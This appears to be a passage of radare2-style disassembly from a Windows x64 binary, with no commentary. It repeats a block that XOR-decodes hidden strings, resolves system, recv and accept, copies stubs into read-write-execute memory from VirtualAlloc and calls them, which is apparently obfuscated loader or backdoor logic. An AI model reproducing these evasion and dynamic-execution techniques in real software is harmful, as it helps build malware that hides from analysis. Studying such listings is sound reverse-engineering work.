mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x370]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3760]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3740]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x378]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3780]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6888]
lea rcx, [rbp - 0x73]
call fcn.14001eae0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x1400193d5
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140019393
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400192a0
cmp r8d, 0x39
jge 0x1400193d5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400193a0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x37a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x380], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140019460
mov rdx, rbx
cmp rax, rsi
je 0x14001944f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140019437
jmp 0x140019460
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140019541
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019489
mov r8, rbx
jmp 0x140019520
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019492
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x380]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x37a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3780]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x388]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x37c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6468]
lea rcx, [rbp - 0x72]
call fcn.14001eb20
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140019712
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400196cf
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400195e2
jmp 0x140019712
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400196e0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x37e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x390], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001979d
mov rdx, rbx
cmp rax, rsi
je 0x14001978c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140019774
jmp 0x14001979d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001987f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400197c6
mov r8, rbx
jmp 0x14001985e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400197d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x390]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x37e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x37c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x398]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3800]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x64a0]
lea rcx, [rbp - 0x71]
call fcn.14001eb60
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140019a42
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140019a0d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140019920
jmp 0x140019a42
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140019a10
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3820]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x3a0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140019acd
mov rdx, rbx
cmp rax, rsi
je 0x140019abc
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140019aa4
jmp 0x140019acd
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140019baf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019af6
mov r8, rbx
jmp 0x140019b8e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019b00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x3a0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3820]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3800]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3a8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3840]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp - 0x70]
call fcn.14001eba0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140019d72
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140019d3d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140019c50
jmp 0x140019d72
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140019d40
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3860]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x3b0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140019dfd
mov rdx, rbx
cmp rax, rsi
je 0x140019dec
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140019dd4
jmp 0x140019dfd
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140019edf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019e26
mov r8, rbx
jmp 0x140019ebe
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019e30
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x3b0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3860]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3840]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3b8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3880]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6510]
lea rcx, [rbp - 0x6f]
call fcn.14001ebe0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14001a0a2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001a06d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140019f80
jmp 0x14001a0a2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14001a070
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x38a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x3c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001a12d
mov rdx, rbx
cmp rax, rsi
je 0x14001a11c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14001a104
jmp 0x14001a12d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001a20f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a156
mov r8, rbx
jmp 0x14001a1ee
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a160
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x3c0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x38a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3880]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3c8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x38c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5958]
lea rcx, [rbp - 0x6e]
call fcn.14001ec20
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14001a3e5
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001a3a3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
